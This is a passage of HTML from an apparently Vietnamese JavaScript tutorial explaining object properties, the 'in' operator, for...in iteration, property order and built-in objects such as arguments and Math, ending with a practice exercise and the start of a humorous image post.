class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>var<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>let<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>for<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// null</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>while<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span></code></pre></div> <p>Tên của thuộc tính có thể là bất kỳ string nào (hoặc symbol). Với những giá trị không phải string thì JavaScript sẽ tự <a href="/chuyen-doi-kieu-du-lieu-trong-javascript">chuyển đổi kiểu dữ liệu</a> sang string.</p> <p>Ví dụ số <code>0</code> được chuyển về string <code>"0"</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token number">0</span><span class="token operator">:</span> <span class="token string">"Zero"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Hai cách truy cập sau đây tương đương nhau</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Zero</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">[</span><span class="token string">"0"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Zero</span></code></pre></div> <p><strong>Chú ý:</strong> object trong JavaScript có một thuộc tính mặc định đặc biệt là <code>__proto__</code>. Bạn không thể gán giá trị khác object cho thuộc tính này:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>__proto__<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Object]</span> obj<span class="token punctuation">.</span>__proto__ <span class="token operator">=</span> <span class="token string">"string"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>__proto__<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Object] - giống như cũ</span></code></pre></div> <p>Đây là thuộc tính đặc biệt trong JavaScript mà mình sẽ giới thiệu sau.</p> <h2 id="cách-kiểm-tra-tính-tồn-tại-của-thuộc-tính" style="position:relative;"><a href="#c%C3%A1ch-ki%E1%BB%83m-tra-t%C3%ADnh-t%E1%BB%93n-t%E1%BA%A1i-c%E1%BB%A7a-thu%E1%BB%99c-t%C3%ADnh" aria-label="cách kiểm tra tính tồn tại của thuộc tính permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách kiểm tra tính tồn tại của thuộc tính</h2> <p>Như mình đã nói ở trên, nếu một thuộc tính không tồn tại trong object thì giá trị của nó là <code>undefined</code>.</p> <p>Nhưng bạn không thể dùng cách này để kiểm tra tính tồn tại của thuộc tính trong object được. Vì rất có thể, giá trị của thuộc tính được chủ động gán cho <code>undefined</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token keyword">undefined</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>age<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Cả hai trường hợp trên đều cho kết quả là <code>undefined</code>. Nhưng rõ ràng là thuộc tính <code>name</code> có tồn tại trong object, còn thuộc tính <code>age</code> thì không tồn tại.</p> <p>Để giải quyết vấn đề này, bạn có thể dùng toán tử <code>in</code> với cú pháp là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"key"</span> <span class="token keyword">in</span> object<span class="token punctuation">;</span></code></pre></div> <p>Ví dụ sử dụng <code>in</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token keyword">undefined</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"name"</span> <span class="token keyword">in</span> user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"age"</span> <span class="token keyword">in</span> user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p><strong>Chú ý</strong>: thành phần bên trái toán tử <code>in</code> là tên thuộc tính, thường đặt trong cặp dấu <code>""</code> hoặc <code>''</code>. Kết quả trả về là giá trị <strong>boolean</strong> ứng với <code>true</code> là có tồn tại, <code>false</code> là không tồn tại.</p> <h2 id="cách-duyệt-tất-cả-các-thuộc-tính-của-object" style="position:relative;"><a href="#c%C3%A1ch-duy%E1%BB%87t-t%E1%BA%A5t-c%E1%BA%A3-c%C3%A1c-thu%E1%BB%99c-t%C3%ADnh-c%E1%BB%A7a-object" aria-label="cách duyệt tất cả các thuộc tính của object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách duyệt tất cả các thuộc tính của object</h2> <p>Để duyệt tất cả các thuộc tính của object, bạn có thể sử dụng vòng lặp <code>for...in</code> - khác với vòng lặp <code>for(;;)</code> đã tìm hiểu ở bài <a href="/vong-lap-trong-javascript/">vòng lặp trong JavaScript</a>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token string-property property">"operating system"</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token string-property property">"graphic card"</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> prop <span class="token keyword">in</span> myComputer<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>prop<span class="token punctuation">,</span> <span class="token string">":"</span><span class="token punctuation">,</span> myComputer<span class="token punctuation">[</span>prop<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// type : laptop</span> <span class="token comment">// brand : Sony</span> <span class="token comment">// operating system : Windows 7</span> <span class="token comment">// graphic card : NVIDIA</span></code></pre></div> <p>Khi đó biến <code>prop</code> sẽ chạy hết tất cả các thuộc tính của object <code>myComputer</code>.</p> <h2 id="thứ-tự-các-thuộc-tính-của-object-trong-javascript" style="position:relative;"><a href="#th%E1%BB%A9-t%E1%BB%B1-c%C3%A1c-thu%E1%BB%99c-t%C3%ADnh-c%E1%BB%A7a-object-trong-javascript" aria-label="thứ tự các thuộc tính của object trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thứ tự các thuộc tính của object trong JavaScript</h2> <p>Khi duyệt tất cả các thuộc tính của object trong JavaScript thì có hai trường hợp xảy ra:</p> <ul> <li>Đối với thuộc tính kiểu số nguyên không dấu: thứ tự được sắp xếp theo chiều tăng dần (từ số nhỏ đến số lớn).</li> <li>Đối với thuộc tính kiểu dữ liệu còn lại: thứ tự giống với thứ tự thêm vào object.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> numbers <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token string-property property">"-21"</span><span class="token operator">:</span> <span class="token string">"minus two"</span><span class="token punctuation">,</span> <span class="token string-property property">"-1"</span><span class="token operator">:</span> <span class="token string">"minus one"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token operator">:</span> <span class="token string">"zero"</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token operator">:</span> <span class="token string">"ten"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token operator">:</span> <span class="token string">"two"</span><span class="token punctuation">,</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token string">"abc"</span><span class="token punctuation">,</span> <span class="token string-property property">"-3"</span><span class="token operator">:</span> <span class="token string">"minus three"</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token operator">:</span> <span class="token string">"four"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token operator">:</span> <span class="token string">"three"</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token operator">:</span> <span class="token string">"six"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> n <span class="token keyword">in</span> numbers<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// 0</span> <span class="token comment">// 2</span> <span class="token comment">// 3</span> <span class="token comment">// 4</span> <span class="token comment">// 6</span> <span class="token comment">// 10</span> <span class="token comment">// -21</span> <span class="token comment">// -1</span> <span class="token comment">// a</span> <span class="token comment">// -3</span></code></pre></div> <p>Trong ví dụ trên, các thuộc tính với số không dấu được đưa lên đầu và sắp xếp theo tứ tự từ số nhỏ đến số lớn. Các thuộc tính còn lại được xếp sau và giống với thứ tự thêm vào object.</p> <h2 id="một-số-đối-tượng-sẵn-có-trong-javascript" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-s%E1%BA%B5n-c%C3%B3-trong-javascript" aria-label="một số đối tượng sẵn có trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số đối tượng sẵn có trong JavaScript</h2> <p>JavaScript cung cấp sẵn một số đối tượng giúp công việc lập trình trở nên dễ dàng hơn.</p> <h3 id="đối-tượng-arguments" style="position:relative;"><a href="#%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-arguments" aria-label="đối tượng arguments permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đối tượng Arguments</h3> <p>Mỗi khi hàm được gọi, có một biến số đặc biệt tên là <code>arguments</code> được thêm vào bên trong phạm vi của function. Biến số này chứa một thuộc tính là <code>length</code>, để xác định số lượng tham số truyền vào.</p> <p>Bởi vì, bạn có thể truyền vào nhiều hơn, hay ít hơn số lượng tham số của hàm. Nên việc biết số lượng tham số truyền vào là vô cùng cần thiết trong lập trình JavaScript.</p> <p>Ví dụ sau miêu tả cách sử dụng <code>arguments</code> để xác định số lớn nhất trong tất cả các số truyền vào:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">maxOf</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> max <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arguments<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arguments<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">></span> max<span class="token punctuation">)</span> max <span class="token operator">=</span> arguments<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> max<span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">maxOf</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">maxOf</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 7</span></code></pre></div> <p>Rõ ràng, hàm <code>maxOf</code> ở trên không chứa một tham số nào. Nhưng khi sử dụng, mình lại truyền vào tham số với số lượng tuỳ ý.</p> <h3 id="đối-tượng-math" style="position:relative;"><a href="#%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-math" aria-label="đối tượng math permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đối tượng Math</h3> <blockquote> <p>Cái tên đã nói lên tất cả.</p> </blockquote> <p>Đúng vậy, đối tượng <code>Math</code> chứa các hàm phục vụ cho tính toán số học như:</p> <ul> <li><code>Math.min</code>: Tìm giá trị nhỏ nhất.</li> <li><code>Math.max</code>: Tìm giá trị lớn nhất.</li> <li><code>Math.sqrt</code>: Tìm giá trị căn bậc hai.</li> <li><code>Math.abs</code>: Tìm giá trị tuyệt đối.</li> <li>...</li> </ul> <p>Sử dụng <code>Math</code> giúp giảm thiểu đáng kể thời gian viết code, vì bạn không phải viết lại những hàm cực kì cơ bản.</p> <blockquote> <p>Bạn có thể tham khảo thêm về <a href="https://www.w3schools.com/js/js_math.asp"><code>Math</code></a>.</p> </blockquote> <h3 id="đối-tượng-global" style="position:relative;"><a href="#%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-global" aria-label="đối tượng global permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đối tượng Global</h3> <p>Trên với trình duyệt, object lớn nhất chính là <code>window</code>. Mọi biến global đều thuộc đối tượng này.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token number">6</span><span class="token punctuation">;</span> <span class="token comment">// khai báo biến sử dụng var như này thì x thuộc window</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x"</span> <span class="token keyword">in</span> window<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>window<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Bản chất object trong JavaScript là tập hợp của các <strong>key-value</strong>, trong đó:</p> <ul> <li>Kiểu dữ liệu của <strong>key</strong> là string hoặc symbol.</li> <li>Giá trị <strong>value</strong> ứng với <strong>key</strong> có thể là bất kỳ kiểu dữ liệu nào.</li> </ul> <p>Có hai cách để truy cập vào thuộc tính của object:</p> <ul> <li>Sử dụng toán tử chấm <code>.</code>, ví dụ: <code>object.property</code>.</li> <li>Sử dụng dấu ngoặc vuông <code>[]</code>, ví dụ: <code>object["property"]</code>. Toán tử <code>[]</code> chấp nhận giá trị của <code>key</code> là từ bất kỳ kiểu dữ liệu nào như biến hoặc biểu thức.</li> </ul> <p>Một số toán tử liên quan:</p> <ul> <li>Toán tử <code>delete</code>: dùng để xóa thuộc tính trong object, ví dụ: <code>delete object.property</code>.</li> <li>Toán tử <code>in</code>: dùng để kiểm tra xem một thuộc tính có thuộc object hay không, ví dụ: <code>"key" in object</code>.</li> </ul> <p>Để duyệt tất cả các thuộc tính trong object, bạn dùng vòng lặp <code>for...in</code> dạng như: <code>for(let key in obj)</code>.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <p>Viết code theo các yêu cầu sau:</p> <ol> <li>Tạo object rỗng <code>point</code>.</li> <li>Thêm thuộc tính <code>x</code> với giá trị <code>2</code>.</li> <li>Thêm thuộc tính <code>y</code> với giá trị <code>3</code>.</li> <li>Thêm thuộc tính <code>z index</code> với giá trị <code>1000</code>.</li> <li>Tính tổng giá trị các thuộc tính (kết quả phải bằng <code>1005</code>).</li> <li>Thay đổi giá trị ứng với thuộc tính <code>x</code> thành <code>1</code>.</li> <li>Xóa thuộc tính <code>y</code> khỏi <code>point</code>.</li> </ol> <div class="wrap-collapsible margin-bottom"> <input id="collapsible" class="toggle" type="checkbox"> <label for="collapsible" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 1. Tạo object rỗng `point`.</span> <span class="token keyword">let</span> point <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// 2. Thêm thuộc tính `x` với giá trị `2`.</span> point<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// 3. Thêm thuộc tính `y` với giá trị `3`.</span> point<span class="token punctuation">.</span>y <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token comment">// 4. Thêm thuộc tính `z index` với giá trị `1000`.</span> point<span class="token punctuation">[</span><span class="token string">"z-index"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1000</span><span class="token punctuation">;</span> <span class="token comment">// 5. Tính tổng giá trị các thuộc tính.</span> <span class="token keyword">let</span> sum <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> point<span class="token punctuation">)</span> <span class="token punctuation">{</span> sum <span class="token operator">+=</span> point<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sum<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1005</span> <span class="token comment">// 6. Thay đổi giá trị ứng với thuộc tính `x` thành `1`.</span> point<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// 7. Xóa thuộc tính `y` khỏi `point`.</span> <span class="token keyword">delete</span> point<span class="token punctuation">.</span>y<span class="token punctuation">;</span></code></pre></div> </div> </div> </div>[email protected]<![CDATA[Ảnh chế vui #3: How I met JavaScript - Parody]]><![CDATA[How I met JavaScript The story is about How I met JavaScript (How I met your mother parody). In the beginning, JavaScript seems to be cluttered. But when I learned it carefully and…]]>https://completejavascript.com/anh-che-vui-3-how-i-met-javascript-parody/https://completejavascript.com/anh-che-vui-3-how-i-met-javascript-parody/<![CDATA[Ảnh chế]]>Fri, 12 May 2017 14:41:02 GMT<p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACm0lEQVQoz2Ooyc2aXF/RnJdREBVenhRTn5tckp7QUV6yc+X8bQu7J1Rkt9dW1FSU1eamZ0eEpkRFNtXXlBTk5qQmVxQXMqiLC3UVJHkYaijxcZrL8qnyshiJ8PioSxvr6sfYqEQYy+ooyQmws6qLCUnxcXMyMxqoKlgZ6pvrqHMxMTEoSor721kaKMkLc3LI8nHxMTN5qEknmquL8nBbqcqo8XLKcjAXu5h4qMmIcrDKCPDK8nIqCvHJ8vPwsLExSHGwq3CxqXKyqnGx6vKwawjyyXMxuStLNsfGRBrrWkrwBdtYZjgaxDmYWYnzm/KzmPGx2ElwumlKa4oLMUiJiomJisuJCKsL8xf4eLhqq5nISk7JSb80Z1aqt5eHl391TbuNm1VeaU1xYbWSjKystJibj1lGUWh2aSSDkryipISUIg+Hi5xYqYdtiLlqY6TPxLTENWX59poa2ppaVZUtFXWt9Q09fX2zbE3MNHRlwmI9otO8FZUlGfh4eZmZWblYWDSFeTWFOYLNlcvivCvDHOtDnc011U011OL9vVJTM1PTc8vKG13sbKVk+PzCbPTN9JkZWRngQJWfxUySzURGIMnfIcrZKNHXztvZUU9Ly8jQTFFVR1BUhptfQllFU1ZRQUpBnImJEaRn7uzZE3p7GhoaW2orp3c1zezrmD+hdfHUrkVTuif39TS3tk+fvbCtvae8vKq6uq6kpLy6tqmhsXXSxEl9vX0M//////v377dv377//Pn7z7/Xr99ev3n7yrUbN2/dffTo8aWLF69dvXL/3r0b12+8ffPm7Zs3H96/+/nzx38wYPjz58/fv3//w8Cb168/fvjw8uXLJ48fP3v27MmTJ4+fPIEwPn/6DFHz79+/P3/+/Pn9BwBmZ/wO0z1ndAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ảnh chế vui #2.1: how I met JavaScript - Parody" title="Ảnh chế vui #2.1: how I met JavaScript - Parody" src="/static/2bb80b003f48b3bf68b01ed23c1c69da/7c811/how-i-met-javascript-1-completejavascript.com_.png" srcset="/static/2bb80b003f48b3bf68b01ed23c1c69da/103f2/how-i-met-javascript-1-completejavascript.com_.png 165w, /static/2bb80b003f48b3bf68b01ed23c1c69da/748ba/how-i-met-javascript-1-completejavascript.com_.png 330w, /static/2bb80b003f48b3bf68b01ed23c1c69da/7c811/how-i-met-javascript-1-completejavascript.com_.png 660w, /static/2bb80b003f48b3bf68b01ed23c1c69da/a27c6/how-i-met-javascript-1-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" 